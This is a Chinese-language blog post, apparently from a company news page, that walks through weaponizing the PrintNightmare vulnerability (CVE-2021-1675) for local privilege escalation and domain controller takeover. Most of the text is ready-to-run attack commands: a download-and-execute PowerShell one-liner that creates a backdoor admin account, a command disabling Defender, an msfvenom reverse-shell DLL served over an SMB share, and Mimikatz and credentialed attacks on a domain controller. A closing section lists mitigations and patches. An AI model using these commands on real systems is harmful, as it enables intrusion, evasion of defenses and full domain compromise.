公司动态

从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析

📅 2026/7/16 23:25:01
从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析
1. PrintNightmare漏洞背景与原理剖析Windows打印服务Print Spooler是操作系统中负责管理打印任务的核心组件自Windows NT时代就存在于系统中。2021年曝光的CVE-2021-1675漏洞之所以被称为PrintNightmare是因为它允许攻击者通过远程代码执行RCE完全控制系统。这个漏洞的本质在于驱动程序安装验证机制的缺失——攻击者可以绕过安全校验强制加载恶意驱动程序。实际测试中发现当攻击者调用RpcAddPrinterDriverExAPI时通过特定参数组合如设置APD_INSTALL_WARNED_DRIVER标志可以跳过数字签名验证。更危险的是利用SMB协议共享恶意DLL时系统会自动以SYSTEM权限加载该文件。我在复现过程中注意到即使目标系统启用了UAC保护这个漏洞依然有效。2. 本地提权实战操作指南2.1 环境准备与检测首先需要确认目标系统的打印服务状态。在CMD中执行sc query spooler如果服务未运行可通过以下命令启动net start spooler推荐使用PowerShell脚本进行快速检测$service Get-Service -Name Spooler if($service.Status -ne Running) { Write-Warning Print Spooler未运行 } else { Write-Host [] 存在漏洞的服务正在运行 -ForegroundColor Green }2.2 PowerShell自动化利用最流行的利用脚本是Caleb Stewart开发的版本IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1) Invoke-Nightmare -DriverName Xerox -NewUser hacker -NewPassword Pssw0rd!这个脚本会自动完成以下操作通过RPC连接打印服务上传恶意驱动程序默认使用内存中的payload创建具有管理员权限的新用户我在Windows 10 20H2上测试时发现如果目标启用了Windows Defender需要先禁用实时防护Set-MpPreference -DisableRealtimeMonitoring $true3. 横向移动与域控攻陷3.1 通过SMB投递恶意载荷当获得域成员权限后可以针对域控制器发起攻击。首先准备一个反向Shell的DLLmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f dll -o payload.dll然后搭建SMB共享建议使用Impacket工具包impacket-smbserver share /tmp -smb2support3.2 利用Mimikatz模块攻击Gentil Kiwi开发的Mimikatz特别适合域环境攻击mimikatz# misc::printnightmare /server:dc01 /library:\\192.168.1.100\share\evil.dll这个命令会通过RPC连接域控的打印服务强制加载共享目录中的DLL在SYSTEM上下文执行代码实测中发现如果遇到RPC_S_ACCESS_DENIED错误可以尝试添加域管理员凭据$cred Get-Credential Invoke-Nightmare -RemoteHost dc01 -DriverPath \\192.168.1.100\share\payload.dll -Credential $cred4. 防御措施与缓解方案4.1 紧急处置方案最直接的缓解方法是禁用打印服务Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled对于域环境可以通过组策略统一配置计算机配置 管理模板 打印机 不允许安装使用内核模式驱动程序的打印机4.2 长期防护建议微软官方补丁应优先安装但需要注意KB50049452021年7月补丁最初存在绕过问题必须同时安装KB5005565和KB5005566才能完全修复企业环境还应实施网络分段限制SMB协议的访问范围启用LSA保护防止凭据转储部署EDR解决方案监控可疑的打印服务调用在多次红队演练中我们发现及时更新系统补丁的组织能够有效阻断这类攻击。而对于必须使用打印服务的企业建议部署专用的打印服务器并将其与核心域控隔离。